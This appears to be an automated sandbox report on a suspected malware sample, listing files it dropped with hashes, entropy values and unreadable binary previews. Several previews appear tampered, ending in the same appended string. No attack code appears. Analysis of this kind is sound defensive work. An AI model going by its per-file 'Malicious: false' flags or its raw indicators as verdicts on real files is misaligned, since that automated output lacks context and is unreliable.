C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{F5FB5847-D24A-455C-A647-40C253091672}mt67739505.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	9080
Entropy (8bit):	7.979108948792612
Encrypted:	false
SSDEEP:	192:LcaSyQGwTrvKFVSmy61i0486l4fy51RLR2Zpg:waN+TrvKi048k4fC11b
MD5:	23C034DB3DF28AE10F3FF04916AC8431
SHA1:	C1A6F2A448D4F2CAFAB4E320CCE4D598EF2FC052
SHA-256:	86E6D48F76A53A83E9F60BA60D94B07D0F3873A35B04CBAF0001B5F721FEE0E3
SHA-512:	C8888EBCDDE1536727E078FF962E7DD6E1A6EEA07FA92E27EBDF8A5CC3670108AD8C58BFB7C34192AAB1DF0F3BF34D440F13DB8C24F89DC8863169AD0DF3C0CD
Malicious:	false
Preview:	.PNG......d^\|k.!.._.....#f....&..Y.....P.....8..GN.;,`B..W_.!..`.#`..R&.D..,m..'.&Y........Q.&....d..Ge....m.7..:S&~..+..V].s.cq.u..~.......xP.i..^z..0..[........Z.).>..=..Y.....$z..N.....HX.....Bq(......%.....g.H...j.!..`g...?.....1...?s.1Ox/<]..ow..Fvq D....jy0...y.vZbh%[3.B.........(...M..(...%....l....Pq..H.9..,......e..O.zWyh.OpF.) ..F..l..u..n.jl\x.V.....+M;\..R../=.KV ?..p..:r...1=.i,.5<J...9...,m.y.9........u.&...c.0e......!..W...`N....l]?..%m..w.F[Y\...!...o.=.....d..ffOs.T.'Ck?..[..z.z.?7......}..f.v....Q......@z;K.CZ...hgVh..V..9.SN........E!......H.P+P....{e.`..7UQRU.WTH-..e....v.8.b..S>....t....\.f.. ..k.V....@.P.w.!..S..>t]^^p...u...\|.h..#Qa...7.>X....4.i.4.~...x..,..`.6.=.lO...4{v>I".(KK....\(..t6..R.U.D.a8..?......U.5.........\......=V.......f..m."..jF.<0P..=....]..h...L2......#..5.Bg......Zu.f.D?[.....!.&..s..d&#.........OJ..m.o....xl..@.....(......U.$..s...........+.D...T..c.$..~....._0.j.s7J..0U."..C.W.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{FD5FD857-5A38-4C81-A322-3226BB279FAA}mt45299826.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	9025
Entropy (8bit):	7.9823331220833476
Encrypted:	false
SSDEEP:	192:8TabB/Onu3tCHxmuZT5LOkEreZURHnuaJYJ5p1BVsnwzJbXEM:kaVs5mgT5SkESZJpTunwzl0M
MD5:	28C3B1B10B6EC3FFC86FAAC74772E9CB
SHA1:	B3151F8FA66BEC5DB9C8BD83EAD8A9399DBA284D
SHA-256:	B7B631E250FB62542372E8380561BAB4D053EFDFA3448DDE2F294452917E851C
SHA-512:	18AB3D4D5D2344A9335FF116BBB18ACDE72529050A635E3181EF108122DC33E537B27CABBDCEDBB250DF2A708EE2CA29B29E254160AC1E900FF32FD7D53E96BB
Malicious:	false
Preview:	.PNG...&Y....?.U..?).$ {.....4.e.!.T!7.Z.Ea..U.%c..."..L..w...Z:..j.%.9!..w3....B.F.....C.).......O..R..g....A.......]..[.t=..:...x..8.e..5>.tU,.Q[y.....S<. .-o).I..K..i...R..Gg.....o.-......s..........Z..&......#-;.U.V.q.N!~bi........L".jn...V.\|..S....WB..7..(..Ln..1c.&.Z...U#.../t...~..8...1o..].dpy2.k.H-...6..+K..).O....yTn..~...=..Yaj.Y7...?.:.[.B..@....&.@..D.0.....N.... A.....4Y.....z..;.s......=yyy.'..C.....=c.............H.yq{.s...[..6....a..Od...6..x.+4L..}a...,..;.-.e.....Q.`.....7;m.(..m..DB..r.W<...~......r......R..5....z....V..$e....NO5..PY........g...m~<..._...s..p....22.`I..i..?.n..L.'[%.[[.@.?.X.Q.@g<.C.[..._.;....,<a...(I(."..4...Y.L...DJ).G=..{..k.).\|,..V...va../.........wc.....?..#...........6}\..Y....N<2..7B....'....9U`.1.A....Uv........[...;N..O...F+#..Z....Tb.x0... ....+..t^.)...!f.........f.g...%.....}...d{..I...W..+u..x.?...M.Q...gT....M.,"....Ol..k.y.o...m..$.=.@2.......~...A.Q.C6.>.P..E.\.6......~......Rg6..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.72656134743698
Encrypted:	false
SSDEEP:	6144:OLNC2sJjcZ6jaFw9/XcQk29HiWMXoMQq3:m8cZ6jcOsQZiWPq3
MD5:	174E1B740B2356DBF348A44F054F59D2
SHA1:	BB5F0294956FEDA2A5D6C370E6EEF86A19D2C2A5
SHA-256:	683D0CC5B67D24FC274C2F140A543B9B84F5DF4F6BB73564696FFFC1B24A5EB9
SHA-512:	148D80CACDE8143C876C9F4DE223DE0EA2BA821DF0172FC0FADF3A37158723BE2E6ACF639601E081E1C2070D8EF028EDA373F2ABF82F326B7D3E97DD4A6F3617
Malicious:	false
Preview:	<?xml...Zc-P).UpI1....o......o...j...2\g.".e.v.:.2.Pacg..1...R...!k...ve...-f...:.4....O..+.........W-....v....=18.....0.--.k'E.RPr%@.w....g.B.;.H.-s..^T.[..W,7&.....[.......1.a..-.'O.WN........D.h.Q..2.."+..&..\|......K...E9..)x...ps...[.....Kx.....)..^....T...).7.IrA0.......T...w...;o....\|..!B...n.F.';...e...2..A....G<.......i.j.....y-Nr..j......Y...8%).....O^......z..lA. ...........`.{...P\:&M.(.......g.. S-\..?..s.....Q ....s..H.,.B@/...~{!X.....m.r6.1.n.1....l.X...L......,.+5.\|;..@.....'L.p.vm...{.;+.....MZ.......j.`s.i...;......J..7.^.....Az....c......w..~1......@..8...0P$g.AhsV..$...O.,Xk..\|.0.....qy...$._...T\..,.]Rz.;.r!........6..g.5..M..%6......bn..Gd......G.^R....{..u..b.....:3...b!D.c..VugL...%..#..v.L7....p%.V."<i...6......N@..B..e].LU2.B~+#.2.....D.F.n..q7...G...;C....)..4..hv.>....[..WM7]s....PR7DuX...)v...J..j8G..RyI..rkEED/{.W<..RR...>...d......ql..\.\..............%'!m..<.........6.j.U-..i....$.aNy_3C\|.2..{.opL

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.776100545530928
Encrypted:	false
SSDEEP:	24:gy5GNOXf4wQATG39/1EN+nSUgeAxxpLCObD:gr3wQQSN1ENpxphD
MD5:	4702F3106920B0C8A570629C2B64205D
SHA1:	912E3A1BA618F2083CA8CD399996411264806602
SHA-256:	EB0929BB6621FCDD4C8B51F994224A84497124DF0A484BF756765C3344308776
SHA-512:	BC70329256EFFF2CC18445F44B3310DEE8EEDBCB0DD5F9BB85AA9DCFB23BE51B8C9E338B42ED5CDEA0363469141D6A3DAFBD3B55C31C776FFA1298621571D539
Malicious:	false
Preview:	<?xmlv.=.+...}.......b..^.5t.cFZK.T..Q....'...Fj....k...(.U....k.fF)Q.?.&E..5.....[...A....}...PL.....9O".U.;H......RHs.j...I;.....B..O.7".....[..[f..^.......^.._.0.....#....k.....5o.I.J.l..8.....j...........C..+..54.......5x.,..).R\.....P@.{e.jn.fj.6B......).YH..>....N.`.o....Ld\|u...v...u..r..U@p..S.oS.....7.j.?{.3).N..z....W.{7gb...}....i..!.....3#.g!K...r'...y.f...5.....r...8......Ew,.'..V...(R`..\|.A...\|.-*G_z'%..N.?.G..'.}.S...{.".MW.sl....1..C.SyZ.e/.Z.xqb.F.......k+O.\...a.~....b..g.BU.`..X.Px.].........]..<J.l....e.L...V#.Q##i..k...zU...A......X..d...........mzQ&.\.D..........#.....u/....?.....9.....(+.n..W._Q[...c: ..1A^..k...d.V...^k......l....E....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.937426505970846
Encrypted:	false
SSDEEP:	48:BoTOMc3GW+0X2SWPeeMRhYAesr1EIzoVKgHf0KpWRtaGylQaKD:B2UH+DSiMR4IzgrpWLb
MD5:	6CB1354AC903CEB609C140881FB7E93E
SHA1:	D5ABC9C448B5859CE477C6B115A0E9154CBE013F
SHA-256:	86D291CEF7C3003E6512AD4D0435ADF5E066163BE028468B36781EFA88E611F7
SHA-512:	323112C9373D003612E03F094804E111736C43478F75C41501C1012BC9212F9329AC7CF676425EF4562DA8422A066BB6D025568DEFF8D4BA9F5D6B69A79A408A
Malicious:	false
Preview:	<?xml[m../...>0%..^.`{<.. O..y..a{.../Z.{.m...+<5o..}../.U5..M........9so..,J.......E8Gd.9.".J.z....1<?5W.V....IT.mJ.e^...U..)9....7.k.QL../>.}^...a..{....rh.E.\.... .#...L...{..~bi.<.&@.2)46c..Z;....`<\|.........-.T..q.p...:.Rk@(...rc..b...Px...B..f..4.IS..{\|{5&i..i+.<df<....i...t.....R.....<8.Y..k....b.'..B.r.T:...H\|.U...Ewo....w.Y....[.0.-..o.Ng`Cc,I..W. .(.5\..AdI..9...h..C%lL.d..5s..[.~HV..t..<.B.].O.m.....d.(.LA...m................e.P..m......D<.4....a.c..m..#....,.......{...x.E_..S0/...{..,Tw}rj.."...z.Ze+t....d...a..x#%,...A.C..9?..vV....xd.%...C.....'.X..o...(-.......Apr!H....%.[....G....J...... ...Fo3'.Z....%RO/.J........U..] ....^...:.sy.j....R....-...J.......{aX..4HhN.1.MO..!...{.U..."....3.Wg..b.\"...7>z.'..j/....F$K.p"......1J.._.......J2..M.]..C....T.2.........E./...M..b...9c..%..K{G...'.?......q....Jg.8O..........'h.E.. .HE...m..........t..7W\..S..GSk..........>.B.."*...6...)vYY.T`:...t~V......~.nk5`.....#....U.!.0.[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.776471368696691
Encrypted:	false
SSDEEP:	12:FBdH+OnktFC1Dfm46xJpasTZsTymjczmMkl3bfI3uHbgkgL2QEXqsieynjuOciik:tbiwYfM+smmRMOb6/BLREoeHObD
MD5:	A746B62E0E3E7A2837B554CD64519B33
SHA1:	DF30034AF1792EC698BBD6A5EF95CC81972C059B
SHA-256:	88A55E684857982CD174B906F8EF0F128EB5D30EE28D9D20726C7B89E866039F
SHA-512:	6A902F378FBA0DDE5F274309CA49A29644EE6B8C8FDB0AB78A7FACDAD968A4A112447396CA1697DA719631D121FD7C4DD21B575D4F82D5E26C231CCA642BC62F
Malicious:	false
Preview:	<?xml.n..y.i.~..p...A.$.r..b.!R...z.$....C.."...'......1.ULK....Oz.RD.....+....g....x.(..g...p...z5...+.b..!...d...(..En.uD...6..!2..d.......lI....r.!8;6.....#v.....$h.1...y..ZdO....\|..6.......L..z.<S...^.3.........9..1..q.!...:T.E._.6...Q..m...wT.&..0...5I.3.\|......nN5.F..2..m\|....\|..$-.Y...m.qU.qT.]...7Q..X.....T%.A.S;.%.9....D>.N.s)46.F..._..v...BD.....E.....jQ..Ol.D.jM'A.H-o.x.*W.+.y.~.`..j...5.7G..E...k#..j.4).ZC.'.Zo....io.........~........O-..J..i.'~....VV.KAk....["y..%Z....8...Z.ZJB..m............."/........Y...s_..g..%..v.....hI\...1..%..7..b..W..@...n.......V...)^(:.m.qkH9.FS@......9....fR&lP...W.z...v..+Wi.=.\|......0s....b..[3 .%....N\|..C...2....w.4.]\.P............%.].N.,....S.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.935297585909825
Encrypted:	false
SSDEEP:	48:c9sLVf2a0h+KA2nai12F2y9Qwa0PRf0PCW4VFp+dZ83QfNB90aZYBD:ceJf2a0h+Kgq2FliwHW14VFkAAVY
MD5:	4978BF0391E9488F8D14E1EDCFD8BDB8
SHA1:	ACF632F67755A5C711DE7F3F9DB39E6C412420ED
SHA-256:	543E2439B266A977C7FB205DA70338C54C18CE528D53E07C48D2494E40AEDC68
SHA-512:	0A1170F7045E817DF37D84F1F1ED589D3FF03129FEC1D07EF49BFF8E5246891CC84BEFBB3D76197BF14826BEE2272B09513FC2E02A6F0B16B4C87FBD6516D634
Malicious:	false
Preview:	<?xml......1.`.>i.o.@{..s.^.M.....l/..:=..dAe6..?%...8j...x^..6C{..P......_4.){h...".}.H...H...P+.<./g .Hj0.......].G.Ie..\...../.....P.e..-.n........<h.V....niL.r.".de.F.;.L.G9..!.d.m.......6.:.o....A%.....-k?.d#.r..#.Ym[c..]AY...>..0?8yR..!..X:..}...-U.....M+.n..n.eXW..p..5K....>.,68....-.&..~...=0..... F.]....T..C.L.\|8.4..........O.(.!...u...1.e...L.)......3.EN...c..\|.[D.@y.G.S.o.....yFQ.cO2Mm./....Wx.4j........G.....Fr.f[....B`!.;....J<..(.<.Qx.y.X[f...4$#b.i.xPl.D.!.....p..5^.`.)...R.r.E..K.. {.v.T...'.("..b.o..>Q...=..X..<!0.#_..V#.p5....k...#.n.....\..p.r..>.]..@...Q.....6.R.E.$1....o.0..K..fekW=<o..A..9.....n.?).._..5k.s.z.A......g......kvN!.V..+...\?.i...^.}....b......-Y..9.........2.._M..%w.u....2...&..m:....e.'8..PUJ....+d...7.geC..g/Y.sf.<.....x~..\...........lFp.m..,,...(.IE....8..]*L.Y...[...4....=..q.M..#!xt.u..h..n.l...d34..QU..L%...b.....".t..a..M...#e.8......>...J.P....<..&..1...-...Kt.~.~M......Q.....VFQ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.78899616980907
Encrypted:	false
SSDEEP:	24:WrvUIyfu3ykeQ1sixcuCxDBuvHKM2u9f/ObD:0CmCFmsIyKvHs28D
MD5:	1DBF375D5EA04F5999A557C05F83EEB1
SHA1:	EA8011B609AE10340EB2058213B4A0E45193F65D
SHA-256:	FE5CF27B1706BB748AC5A9EAB1B80630B2EB9BD3623CC961DE80B683A4852D23
SHA-512:	144A09BC01E1286D444319A1F571BC879AF515EA939ED1B612BD53068C89FFFA16B02BC5DA22E12B158DB4F0381CE155BE79951C24E8F09DE8EDE0E056AC2AE0
Malicious:	false
Preview:	<?xml.3.2t.A..\..+t......`..k.\|.W..x.Um......f]Hp#.w.t..Y.;6.........[9.&...W..G....Q....PB.n.]V.......z;..h......G4>4..{{..>.d.R.F..I.....v(.}.<.........b.....eM<Fh...q$.dV.>..\:.......6.F....&Q+.\|:.~....\|t'8e.W.....$....$.<...;f...s.;...3x.D/.......7w...xrN. v.....".....c......\|).\....TQ...C..z.oS..G..wW.D?..@..r..wpq........X.......j..yQL.....0.$h.^y.#WUI..<u......ry....G..".../D.?[f._....SBX$0..#.B......{5mG.c...K..\|..+&...OY....3Ht....P.6s.\|...#h.."b....W..a..G....3.Qz...,L.^...K...b".t...ZVs....s..E.%.nv`...... Z:...x..gQ0=+\|......5.5.)ny...j.........4.t...G...^..,.C.k....XP.\|>b.....3$..... .8.=.w....t..T2DSh......>.Y...V_.@..k......k&...2......?.;.-./Dx..k7Q..A.......7`..F.........)#]b.*...[Ln....7.h...@@QM/...l...k9..7..[....g...M.pD.....r..F...AY..1..fx.1...;Mp.j..%.DT.%g.....O...?+i_..f.<.n.......h.B....7......Y..E....Cj..I..E...".rwlE.D?......[m....{.w.z.[...#.p....x....g.tZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.8654444180682805
Encrypted:	false
SSDEEP:	24:nAXaksA+cdEOHRXNFzIMHhqgF9oi/KVD03acjp3cjoyPNTP8DJHw1s6G+r0AObD:nU/s2EOHR9RIMQrkaIhcjlP5EDJHOhGb
MD5:	14CDE541AF32F1B74B88E415C2CA7E96
SHA1:	AB874A56F5BE7A91A65D88DC72BCF388FA4E826D
SHA-256:	B51E87F4445EE57A6E2C38C186A51D4AAA431516E04363C01A264BECCC97A6C9
SHA-512:	43D992D5A7727E4F5C671C6925B3AA834BA96613988FE1A7331D810FDB330A7C8868357C371460956CA64BAA00252CC85EC102B56AE826C26F541B7D63146CA8
Malicious:	false
Preview:	<?xml..!.b....q..-_YbL..^.....Ay.{..d....#J.6.........MVQn.w..{..R..9...+..Q......~..xS.U`M.=K..6.`.s(-.kD..#g.pK.-..(.w..7iq.`.D..".?...3].M.x...]fZ..w+.pA..9"...4.g....9w.8;.)..W........:N..;......j=..3a.c.v^OG.y.......]?SM~)ERI...m4c......@<.".6..h.......D.. .O.4%......$....N..5[\0.w.P...r..._...}nw./.&......V _.Mv1+.\|..2....W..+h...L.W..0b<[j(:h..."-)}X..M.W.A5..;..y....#<.Q...RQK....6.i..p....5JH<..v..q.v...Y/.s....4.....Fy.>.....S...>.,.....Y4$N3F....N..Fv....Q7.r)R.*.u...#..%...79.#?..r"E.d.ux.v ..y.>p...B.].K.._h$$....%......D.W.!..a.t...}.U...kI.~..f.`...ZdO.......5.m.......xV....}..L..<...\..8.&v.v..@@d.0<..p...W....D.>...X.N.&.n,.'AO@.5....Qg.Ic.B.%../h.j....p..n.t..H.xR;.t"B::..n()\|0EI.6V..G.A&...>A2..k...8.@fR..g.......s.u.../.lG..h.......p>9'....D......OHH....q....a......v3.-.<Q'....Fl.@Z%.Ng.F......R....5.D...Z.`z.S..............x\..~.j..l..tX..,U...R...c...K.%.k9.....2.a.@..}D.v..\|y..j....8........oE.U. Hy..a..m.;..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.754723099366087
Encrypted:	false
SSDEEP:	24:SUpP/lUJOlgNPjlU82/PqSoaJqXW6D7kNjObD:SUFtUJbBU84SSALPSYD
MD5:	3CBB1F11F2BEC63F186BCA42F4D00FF2
SHA1:	80BBC2CD54C57083311F53D990E25C40592724BB
SHA-256:	01F3F35BFCA818F539490DDD513498A1A7328955BEA82ABCE4EB1F65C9D36745
SHA-512:	064C8E53FFDCA33E01C4035F038BA0690EBC8B79CC9D72AE7298674CC938AE712CC10E68C87F294326B81E56FAC0E3122C67ED342B89E523FA2DDE92FCEF3EA7
Malicious:	false
Preview:	<?xml.TV\|J..J....G.YZ..>v..g<.:\JLNL..eG.....M....d...u....{!..s..+2x..H...v..&.E..h...X.O.....3..G.q..`...Y..1...v....g.0(....C!.5.D....;....+.0Mo.D!d.d.[;.............:...6M.5&XeZ.p.%... ..h.z;..t..u...I...1...tS3.....E.t..xI. o.R..:.u\|<z....E...[.......N.".~.,......t.P.....F...6.9.xa.1?X..Q.4....2~.......?[!...\......SR...\|.p2......h.y.-[..q.....>..g..).......`%j..C.Q.H.@b._.l..s...E\|....B.j`...#..[..'..'........1^..d{..ta.B.b..'t.\|Y......B...-.f.p.....}.._.=..zB.P.3.....M7..Eg.V.:.fK..&5........7..g.g......c`..-.. s.....e...s\....G..(.p.}....k..>\..9....\.6CP.... "..........z..V.Tc....!v.x.,sQ"p.P.....O.k.K'n..9.8<.\.......d@R...91..I..F..(.f.*k.....3..=..,.A.,.....9.V...=}Ie...05.+...........'...9..}_S.....-.OI.T.2.!.u.x..&`e.\|..Z....M^.8R..m#.P.G@H..<}c..D,t.......W].[..s.-~AS>.....Bq...z...?..,Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.761972118552237
Encrypted:	false
SSDEEP:	24:0AqnHQkrK8AxVVRTvj9tsa/sdvbHSEiB/5ymObD:tkrwLjThySEikD
MD5:	5DBC0C15D84651D1049DD51FE6A61954
SHA1:	9810529250BBB561E6603CA7089A80ACF23A072E
SHA-256:	9A6D1CCEB6EF2AD2E3D6817C09E0E58251A0F9E0E359CA3E5A695F4298C076C5
SHA-512:	024AE99FFFA2EA919B8D0A05B0F031B22A70082B572439650F0C0BB4576E3B47CD7A1D55AA89062C832C2194AC3670B01FE51CEB917E22F847A59F817F566272
Malicious:	false
Preview:	<?xml1.Dr.....C....e.../..Y........;.......O..z...P....?....N.;...!.....Z.zt.Z...g.f....}...3Ph......(..=...../...o.S.v...;.8...`.K.j....y..."..W.>!P...\n...\. .....N<...{..:..K....8....A..7..5.I...y.i..Q.j$...3.... .z.....8.......}........q......ag.<.-.2. ..N<.0F...."E.7J&.@)....9.+..nx....$.b.....p...U}GJ9N..G.....(0.e0..3...W..>..{1w.x(...,.....v..^..C.&T..8`..Z:.yC1.9...&..w.....d.2.C..e.....i..Z......75./...'6.,.....9r..\|O.x.Lx...U...m...v.x.*y...........#.SC0.1.J.%.@p#._A..G....Nv.....79...)K...//#}t..v.L.o..U...S.f...Y.W.nN../GK>......=N.a....U9.~..Q/..N.....k...f..Q.w.%.D......d.s6.>...,.......@._.a....V.`a.3>Fc'bv%..$..<W...{.u...5...M....8...z..]X....f..`.O.._..=.-......j.........R.f.Z..MEp..K......[)7..5.a.././K.\...t.`{\|k&.4.(..../...i{}.i.2).3/...]Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.810009327523722
Encrypted:	false
SSDEEP:	24:EHPXtvJIpRsp0APaowj04Xd6+9WHH+ulPVwx7G1ObD:EvXtvJITsOwD4Lt6lH/lPVwD
MD5:	62C56F565C5DD2B242992D07D86C239E
SHA1:	7EF2B6AEB161C6B254C0D0F22EDBFE41A4759A0D
SHA-256:	9BC90116216BDD367D9DCC73BECBCB9A7024A334C90067078E57CDBF6F961525
SHA-512:	919C4717D086CAB8FA9278BEEC2B353BE47F124B9EEF237FCECB04EAF990D741D8935B50F398F182C8D767BC5245E77F80EBBE18C7BA46E9F3EFD75765C83908
Malicious:	false
Preview:	<?xml......:.....a.w^.@.wP..0E..(..\..<tpg.o..Nk.B`....#C...Z7...g.%.`\|.....mP..,...Q?.6.Ik..>W..x\UF.7pQ.....;...=......rI...h..k..z...v.c.....6`..{!.8....J..[......T4'.x8n..G...4i-...$..k.A..d.o.IM...Y..o..."."M.m{\|-.V.6..[...fK>,.3.K....O..+S.O.I. ..#..)...T..QN..K.f...>.{./-.'t.9.P!..o....j.i..W+..1.....^$.'i^..{..\|..6..E..Y+\I..Q.^..r}./(jx.E.n..HJL..v"?.n..:.Seh.H3k..=.z...P,.6..Fy..HS,.cIe.F...]........!.....^..s.FFw...2..-&1........[8.2.lw.D.Q...j..&.;........>..i..=..X..(.}g...r....g..6...B..I\.7f0.....n.?.M..d..?{4Ll..<...:.....`#.!...z...oA.]..b........O.{..W..{..ymp.w.jh........].%DT.;..`g..b..........sw..n.]....\"N.......q..`..0.<.z.Q.....8_..nE}V ...;.\|...,..i...Q:T;.......2.`.......]v\|.....q....?\|..F.4....!.z..5.@.../d{..).5f...{.4R.........74a..%?.Pra.exy.w....A&.....0..k;;..}..X...el..iZ...CdE.!.z.....c.....{.b?........V..l...xP.0 ...N.....K.O..d....;.........?X.......pq...>.(^p.M..V..A.gAa...^..Q....Z6iwSvCoAt8T8K2ROxecuXHPNHv7e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.7748431538357154
Encrypted:	false
SSDEEP:	12:pthmUluf/sA59X+4G1+2oMT92kbCyz3hY14twNBH2ZSUQ1mRXlyrEDUWigtyxmuI:poZx+4zMT9lz3+GtKHWSj1m9iEyVObD
MD5:	282EFE658CCBEE385949E1D9BC7AE37A
SHA1:	B47605B5A60B2319A4D9B72019FE797194B1EBBE
SHA-256:	5960E6D2C98C6C1B2CF5063DFC8D5C3AC1A7E5A8CB0CF3D4BC8274D262D1BCBA
SHA-512:	37AE0266EF2854708F93A61055D02E5D6A6B269685BB2BD40F5CA17FA4173049E2708C8FE435184B8A64DAEFE73BF70DBABCE07BADEFCC2FE0B2CD343C102DCB
Malicious:	false
Preview:	<?xml...1...../0..K.......c...14..]..kzB.........O....:.......;9...}.@....3.....*....j..\|......Z8._......iTM.../....g.0p.......c.Y.....31.~.._.U....#. .10.\|.>..pB.^.....w!.i0...2.4>.OZ...7g...!......9.X...E..6.J.5.I;.5.2....<7Y../'.l..M..."~...5+S.b...n..(=u..TI.b!T:9se"+..}y..P.@..7:#..0?.zt<.,......J..:r..:.L.....+...j6.).uX.2L.8....>HA...U..u..B......X)R+za..Z...$...'......p.}[/C.Q.....'..]YY.j.....a.....F@....&?...Y.%...h.......J+!.!?...[..../.C.].....<..G{...iM....<..T....B..+.E......22.....\|.9.I..e..k.?5.J}q...Q8....bl.p4...9....N....j..7.F.z....G.M..B....4u.M\.I........i[a-. .C2.0.R..f.w..m}.v..../Hl..G.......T.....x.R..Fr.S....pa.M[...n.0..9....B..5}...4Ln...ge.....#. .t.o.x...Yf..9..4?.0.%'.44....oKQs%.?.I.U.....T..e.w.w...9\|s...x .7K..\|.p..].9`rV~Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.977511312954917
Encrypted:	false
SSDEEP:	192:G6oladXpGWTlFjv1iCstWQ9CVnupEN3Ar5/Ra/pnUlnn1DLC6X0U0L:VoG5G8lFr2EDwriRUF9CO0U0L
MD5:	8C7B6754DCD1F933E00878F6A5F55082
SHA1:	02138B0697B5E6028946CB4D4CF38D78C62B3A05
SHA-256:	3FB90AB7B31730D22A7FEE74BDFCF3D7008CBAE4FC6DD97B98340D50E3EEE30E
SHA-512:	F088B142C316C468BF88C3313A0C4E5A32F2EB58BF8F89D115D988C5B6E2B6E180BEBE96AA820B2E79F6F759DA38A07CACCEB4495595E0AFC2CE67BF5D51A029
Malicious:	false
Preview:	<?xml.,Ns.,..1#.8.j....6......0...F.6....\.3.F.A8P..4L.....8<.....LVL..3...11.......\|t......g)..........?W.)... q&.Q...H.......S....OLVo1....Z.+.8e.RSK<..e..m.h...../]t....8../.\|...,&....)-.OC....2.6.;..wD.(7.1...'PK.E.!......W.`..7........O..}I.S.x....]r.i....K`8..ups.b..V....},6...f...../.E.Y.#=...."n...%G..E)_\.... '...CLx.3x...G.X.~4.`...V.z...QM..+..,......\..`V.....d.5.2..l....{.......O.Cf.=...2.r.`.......#..... '1}....lpH....... ..s...0H28....7.V\5...n..5.lD.{..X....Y...,..`.8...KO...q6...\n.zZ?..^.:.H.!.U...y%g.....FA..+k.i.....1FV.(...7;.g;.Y.(&o.......?..... .{.\..H.z!1..;].&......1....$M.z.s.).....@.@..._d..] -.b.v.i....,f...0....#M...,c...>v...%..>JiM.k...]...[.^.sr<].....a.nx.~\|.eH\.$:.m..n..9D...Trt.dT....B._.D..,27....6.F...y..3...a\!.U(.=..>6..3C...X.b.\|..u0bp0.....]..a."T..W.i.`?...\...l....,..pA.N.%In~.m...p1...0Bb..T...Y*..}t..B(.i..4S.s......0.7+.Pt..X]...6Y........w......Q..\|..+<.9..@..\w]Wo..'.f`...j.%D..y.S..O..!....#..D..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.844737417070798
Encrypted:	false
SSDEEP:	24:t4JiQZ+LXgcGriQhSHZJodEPeYG8+KI4PwcI2mkT8cAYBm692aObD:t4JZ+LQcGrxhMZZPeYG7K/ocea29D
MD5:	E0A93C3DB473D80551A08D7AFD5DCD44
SHA1:	0F10A73D7FF4747F567195BE3A6029899AC14B41
SHA-256:	12CB4FE96AC8934D18CE70B0ED993A1CFC46E29E7EF98D6AA9EBB75C053879A4
